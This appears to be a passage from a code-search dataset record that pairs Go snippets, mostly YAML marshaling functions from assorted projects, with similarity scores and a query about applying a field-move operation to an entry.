i.Vars, nil\n}", "func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}", "func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}", "func (op OpFlatten) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}", "func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}", "func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}", "func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}", "func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}", "func Marshal(v interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tenc := yaml.NewEncoder(&buf)\n\tenc.SetIndent(2)\n\terr := enc.Encode(v)\n\treturn buf.Bytes(), err\n}", "func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}", "func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}", "func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}", "func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}", "func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}", "func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}", "func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}", "func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}", "func (p Params) MarshalYAML() (interface{}, error) {\n\treturn p.String(), nil\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}", "func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (u *URL) MarshalYAML() (interface{}, error) {\n\treturn u.String(), nil\n}", "func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}", "func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}", "func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}", "func (key PublicKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}", "func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\n\tvar s yaml.MapSlice\n\tfor _, item := range m.ToSlice() {\n\t\ts = append(s, yaml.MapItem{\n\t\t\tKey: item.Key,\n\t\t\tValue: item.Value,\n\t\t})\n\t}\n\treturn yaml.Marshal(s)\n}", "func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}", "func (i Interface) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}", "func (c CompressionType) MarshalYAML() (interface{}, error) {\n\treturn compressionTypeID[c], nil\n}", "func (i Int) MarshalYAML() (interface{}, error) {\n\tif !i.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn i.value, nil\n}", "func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}", "func (d Document) MarshalYAML() (interface{}, error) {\n\treturn d.raw, nil\n}", "func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}", "func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}", "func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: va.AccountNumber,\n\t\tPubKey: getPKString(va),\n\t\tSequence: va.Sequence,\n\t\tOriginalVesting: va.OriginalVesting,\n\t\tDelegatedFree: va.DelegatedFree,\n\t\tDelegatedVesting: va.DelegatedVesting,\n\t\tEndTime: va.EndTime,\n\t\tStartTime: va.StartTime,\n\t\tVestingPeriods: va.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}", "func (s *spiff) Marshal(node Node) ([]byte, error) {\n\treturn yaml.Marshal(node)\n}", "func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}", "func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}", "func (d DurationMinutes) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Minute), nil\n}", "func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}", "func (date Date) MarshalYAML() (interface{}, error) {\n\tvar d = string(date)\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}", "func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\n\tconst mediaType = runtime.ContentTypeYAML\n\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\n\tif !ok {\n\t\treturn []byte{}, errors.Errorf(\"unsupported media type %q\", mediaType)\n\t}\n\n\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\n\treturn runtime.Encode(encoder, obj)\n}", "func SortYAML(in io.Reader, out io.Writer, indent int) error {\n\n\tincomingYAML, err := ioutil.ReadAll(in)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't read input: %v\", err)\n\t}\n\n\tvar hasNoStartingLabel bool\n\trootIndent, err := detectRootIndent(incomingYAML)\n\tif err != nil {\n\t\tif !errors.Is(err, ErrNoStartingLabel) {\n\t\t\tfmt.Fprint(out, string(incomingYAML))\n\t\t\treturn fmt.Errorf(\"can't detect root indentation: %v\", err)\n\t\t}\n\n\t\thasNoStartingLabel = true\n\t}\n\n\tif hasNoStartingLabel {\n\t\tincomingYAML = append([]byte(CustomLabel+\"\\n\"), incomingYAML...)\n\t}\n\n\tvar value map[string]interface{}\n\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\n\t\treturn fmt.Errorf(\"can't decode YAML: %v\", err)\n\t}\n\n\tvar outgoingYAML bytes.Buffer\n\tencoder := yaml.NewEncoder(&outgoingYAML)\n\tencoder.SetIndent(indent)\n\n\tif err := encoder.Encode(&value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-encode YAML: %v\", err)\n\t}\n\n\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\n\tif err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-indent YAML: %v\", err)\n\t}\n\n\tfmt.Fprint(out, reindentedYAML)\n\treturn nil\n}", "func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(d)\n}", "func (s String) MarshalYAML() (interface{}, error) {\n\tif !s.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn s.value, nil\n}", "func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}", "func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}", "func (s SensitiveString) MarshalYAML() (interface{}, error) {\n\treturn s.String(), nil\n}", "func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\n\tunmarshaler := &pmetric.JSONMarshaler{}\n\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar jsonVal map[string]interface{}\n\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &bytes.Buffer{}\n\tenc := yaml.NewEncoder(b)\n\tenc.SetIndent(2)\n\tif err := enc.Encode(jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}", "func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (cva ContinuousVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(cva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: cva.AccountNumber,\n\t\tPubKey: getPKString(cva),\n\t\tSequence: cva.Sequence,\n\t\tOriginalVesting: cva.OriginalVesting,\n\t\tDelegatedFree: cva.DelegatedFree,\n\t\tDelegatedVesting: cva.DelegatedVesting,\n\t\tEndTime: cva.EndTime,\n\t\tStartTime: cva.StartTime,\n\t}\n\treturn marshalYaml(out)\n}", "func (v *VersionInfo) MarshalYAML() (interface{}, error) {\n\n\treturn &struct {\n\t\tSemVer string `yaml:\"semver\"`\n\t\tShaLong string `yaml:\"shaLong\"`\n\t\tBuildTimestamp int64 `yaml:\"buildTimestamp\"`\n\t\tBranch string `yaml:\"branch\"`\n\t\tArch string `yaml:\"arch\"`\n\t}{\n\t\tSemVer: v.SemVer,\n\t\tShaLong: v.ShaLong,\n\t\tBuildTimestamp: v.BuildTimestamp.Unix(),\n\t\tBranch: v.Branch,\n\t\tArch: v.Arch,\n\t}, nil\n}", "func (f Float64) MarshalYAML() (interface{}, error) {\n\tif !f.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn f.value, nil\n}", "func (d DurationSeconds) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\n\treturn int(d.value / time.Second), nil\n}", "func (r Discriminator) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"propertyName\"] = r.PropertyName\n\n\tif len(r.Mapping) > 0 {\n\t\tobj[\"mapping\"] = r.Mapping\n\t}\n\n\treturn obj, nil\n}", "func (v *Uint16) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}", "func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func MarshalUnmarshal(in interface{}, out interface{}) error {\n\t// struct -> yaml -> map for easy access\n\trdr, err := Marshal(in)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn Unmarshal(rdr, out)\n}", "func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (s *Spec020) Marshal() ([]byte, error) {\n\treturn yaml.Marshal(s)\n}", "func Marshal(o interface{}) ([]byte, error) {\n\tj, err := json.Marshal(o)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshaling into JSON: %v\", err)\n\t}\n\n\ty, err := JSONToYAML(j)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error converting JSON to YAML: %v\", err)\n\t}\n\n\treturn y, nil\n}", "func (vva ValidatorVestingAccount) MarshalYAML() (interface{}, error) {\n\tvar bs []byte\n\tvar err error\n\tvar pubkey string\n\n\tif vva.PubKey != nil {\n\t\tpubkey, err = sdk.Bech32ifyAccPub(vva.PubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tbs, err = yaml.Marshal(struct {\n\t\tAddress sdk.AccAddress\n\t\tCoins sdk.Coins\n\t\tPubKey string\n\t\tAccountNumber uint64\n\t\tSequence uint64\n\t\tOriginalVesting sdk.Coins\n\t\tDelegatedFree sdk.Coins\n\t\tDelegatedVesting sdk.Coins\n\t\tEndTime int64\n\t\tStartTime int64\n\t\tVestingPeriods vestingtypes.Periods\n\t\tValidatorAddress sdk.ConsAddress\n\t\tReturnAddress sdk.AccAddress\n\t\tSigningThreshold int64\n\t\tCurrentPeriodProgress CurrentPeriodProgress\n\t\tVestingPeriodProgress []VestingProgress\n\t\tDebtAfterFailedVesting sdk.Coins\n\t}{\n\t\tAddress: vva.Address,\n\t\tCoins: vva.Coins,\n\t\tPubKey: pubkey,\n\t\tAccountNumber: vva.AccountNumber,\n\t\tSequence: vva.Sequence,\n\t\tOriginalVesting: vva.OriginalVesting,\n\t\tDelegatedFree: vva.DelegatedFree,\n\t\tDelegatedVesting: vva.DelegatedVesting,\n\t\tEndTime: vva.EndTime,\n\t\tStartTime: vva.StartTime,\n\t\tVestingPeriods: vva.VestingPeriods,\n\t\tValidatorAddress: vva.ValidatorAddress,\n\t\tReturnAddress: vva.ReturnAddress,\n\t\tSigningThreshold: vva.SigningThreshold,\n\t\tCurrentPeriodProgress: vva.CurrentPeriodProgress,\n\t\tVestingPeriodProgress: vva.VestingPeriodProgress,\n\t\tDebtAfterFailedVesting: vva.DebtAfterFailedVesting,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), err\n}", "func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}", "func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: bva.AccountNumber,\n\t\tPubKey: getPKString(bva),\n\t\tSequence: bva.Sequence,\n\t\tOriginalVesting: bva.OriginalVesting,\n\t\tDelegatedFree: bva.DelegatedFree,\n\t\tDelegatedVesting: bva.DelegatedVesting,\n\t\tEndTime: bva.EndTime,\n\t}\n\treturn marshalYaml(out)\n}", "func Dump(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}", "func Dump(cfg interface{}, dst io.Writer) error {\n\treturn yaml.NewEncoder(dst).Encode(cfg)\n}", "func (s String) MarshalYAML() (interface{}, error) {\n\tif len(string(s)) == 0 || string(s) == `\"\"` {\n\t\treturn nil, nil\n\t}\n\treturn string(s), nil\n}", "func (pva PeriodicVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(pva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: pva.AccountNumber,\n\t\tPubKey: getPKString(pva),\n\t\tSequence: pva.Sequence,\n\t\tOriginalVesting: pva.OriginalVesting,\n\t\tDelegatedFree: pva.DelegatedFree,\n\t\tDelegatedVesting: pva.DelegatedVesting,\n\t\tEndTime: pva.EndTime,\n\t\tStartTime: pva.StartTime,\n\t\tVestingPeriods: pva.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}", "func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (self *Yaml) Save() error {\n\n\treturn nil\n}", "func SPrintYAML(a interface{}) (string, error) {\n\tb, err := MarshalJSON(a)\n\t// doing yaml this way because at times you have nested proto structs\n\t// that need to be cleaned.\n\tyam, err := yamlconv.JSONToYAML(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(yam), nil\n}", "func ToCleanedK8sResourceYAML(obj Resource) ([]byte, error) {\n\traw, err := runtime.DefaultUnstructuredConverter.ToUnstructured(obj)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert object to unstructured object: %w\", err)\n\t}\n\n\t// No need to store the status\n\tdelete(raw, \"status\")\n\n\tmetadata := map[string]interface{}{\n\t\t\"name\": obj.GetName(),\n\t}\n\n\tif obj.GetNamespace() != \"\" {\n\t\tmetadata[\"namespace\"] = obj.GetNamespace()\n\t}\n\n\tif len(obj.GetLabels()) != 0 {\n\t\tmetadata[\"labels\"] = obj.GetLabels()\n\t}\n\n\tif len(obj.GetAnnotations()) != 0 {\n\t\tmetadata[\"annotations\"] = obj.GetAnnotations()\n\t}\n\n\traw[\"metadata\"] = metadata\n\n\tbuf, err := yaml.Marshal(raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert unstructured object to json: %w\", err)\n\t}\n\n\treturn buf, nil\n}", "func (c Configuration) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}" ]
[ "0.67082524", "0.6616966", "0.65532225", "0.65532225", "0.640341", "0.6190374", "0.61785454", "0.61340964", "0.61240435", "0.6112163", "0.6082385", "0.603857", "0.60359454", "0.6000898", "0.5997636", "0.5996397", "0.59677744", "0.59660566", "0.59630996", "0.5907373", "0.59001344", "0.58918154", "0.5891493", "0.58411825", "0.582411", "0.5818149", "0.58088136", "0.5800693", "0.5762744", "0.57558244", "0.57272106", "0.5724732", "0.5666832", "0.56275535", "0.5621372", "0.56108296", "0.5608941", "0.5603721", "0.5601578", "0.5601578", "0.5594434", "0.559416", "0.5585264", "0.55808014", "0.55501187", "0.5521694", "0.5506272", "0.54715204", "0.54668176", "0.54637706", "0.5452956", "0.5443939", "0.5443609", "0.5432492", "0.54282653", "0.5404126", "0.5402731", "0.53920865", "0.5347163", "0.5343615", "0.53126097", "0.52868587", "0.5283169", "0.52382475", "0.52079356", "0.5200511", "0.51968116", "0.5195353", "0.51843214", "0.5178314", "0.51774794", "0.5149331", "0.5140382", "0.51336896", "0.5128209", "0.5120217", "0.5119364", "0.50728714", "0.50644195", "0.50632524", "0.5061355", "0.50496686", "0.5007057", "0.5006994", "0.5002691", "0.4999875", "0.49904805", "0.49888802", "0.4985342", "0.49696922", "0.49623024", "0.4957633", "0.4948247", "0.49478596", "0.4930868", "0.49285495", "0.48898712", "0.48470357", "0.48468143", "0.48421595" ]
0.7636344
0
Apply will perform the move operation on an entry
func (op *OpMove) Apply(e *entry.Entry) error { val, ok := e.Delete(op.From) if !ok { return fmt.Errorf("apply move: field %s does not exist on body", op.From) } return e.Set(op.To, val) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s *State) applyMove(m Move) {\n\ts.Snakes[m.ID].applyMove(m)\n}", "func (a *MoveForwardAction) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\n\tnextState := currentState.DeepCopy()\n\tnextState.AppendAnimation(animations.GetMoveForward(a.GetOwner()))\n\tplayer := nextState.GetPlayer(a.GetOwner())\n\tif player == nil {\n\t\treturn nextState, fmt.Errorf(\"there is no player with id %v\", a.Owner)\n\t}\n\tswitch player.Facing {\n\tcase 0: // going north\n\t\tplayer.Location = player.Location - nextState.BoardWidth\n\t\tbreak\n\tcase 1: // going east\n\t\tplayer.Location = player.Location + 1\n\t\tbreak\n\tcase 2: // going south\n\t\tplayer.Location = player.Location + nextState.BoardWidth\n\t\tbreak\n\tcase 3: // going west\n\t\tplayer.Location = player.Location - 1\n\t\tbreak\n\tdefault:\n\t\treturn nextState, fmt.Errorf(\"player %v with unknown facing %v\", player.ID, player.Facing)\n\t}\n\treturn nextState, nil\n}", "func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}", "func applyMove(s *State, m Move) {\n\tprevious := s.CellForPiece(m.Piece())\n\tnext := nextCell(previous, m.Direction())\n\tif pid, ok := s.cellsToPieceIDs.Get(next); ok {\n\t\tif s.playerForPieceID(pid) == s.CurrentPlayer() {\n\t\t\treturn\n\t\t}\n\t}\n\tif p := s.PieceForCell(next); s.PlayerForPiece(p) == s.NextPlayer() {\n\t\ts.pieces.Set(p.ID(), NewPiece(\n\t\t\tp.ID(),\n\t\t\tp.Life()-m.Piece().Damage(),\n\t\t\tp.Damage(),\n\t\t))\n\t\treturn\n\t}\n\ts.piecesToCells.Set(m.Piece(), next)\n\ts.cellsToPieceIDs.Set(next, m.Piece().ID())\n\ts.cellsToPieceIDs.Remove(previous)\n}", "func (board Board) ApplyMove(move Move) StoneStorage {\n\tstones := board.stones.Copy()\n\tstones.Move(move)\n\n\treturn Board{board.size, stones}\n}", "func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}", "func (c 